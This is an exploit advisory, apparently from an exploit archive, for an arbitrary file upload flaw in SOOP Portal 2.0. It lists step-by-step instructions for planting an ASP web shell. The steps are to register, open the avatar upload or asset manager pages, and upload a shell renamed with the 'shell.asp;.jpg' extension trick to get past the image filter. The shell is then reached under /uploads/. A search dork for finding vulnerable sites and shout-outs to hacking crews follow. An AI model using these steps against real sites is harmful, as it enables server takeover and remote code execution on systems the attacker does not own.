SOOP Portal 2.0 – Arbitrary File Upload
################################################################# # I N F O # Exploit Title: SOOP Portal 2.0 Remote Upload Shell Vulnerability # DDate: 05-12-2010 # Author: Net.Edit0r # Software Link: www.soopportal.com # Version: 2.0 # Tested on: windows server 2008 # Contact: Net.Edit0r@att.net ~ Black.hat.tm@gmail.com [~]######################################### E X P L O I T #############################################[~] # # 1. Register On Site # # 2. http://server/member_form.asp?do=5&mid=4 # # 3. Current avatar [ Browse/Upload ] # # 4. http://server/assetman3.asp?mode=1&ffilter=image # # 4. Asp renamed via the .asp;.jpg (shell.asp;.jpg) # # 5. http://server/uploads/ [You can get the address at the See Shell Shell upload] # # 6. In this section, file in the folder that you have selected in the previous section is placed . # # 7 . Example URL : http://server/uploads/ # # Dork : "SOOP Portal 2.0" # # [~]######################################### ThankS To ... ###########################################[~] # # Special Thanks To : HUrr!c4nE, Cair3x, B3hz4d, M4hd1, Skitt3r,Hussin-v ,Virus_Baghdad ,snIPer alBlDeat # # 7-Team: virangar, H-SK33PY , farzadho ,n3me3iz ,mmilad200 , fr0nk, bLaCk.bytE , Satanic2000 # # BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic ~ keracker ~ Mikili # [~]######################################### FinisH :D #############################################[~] |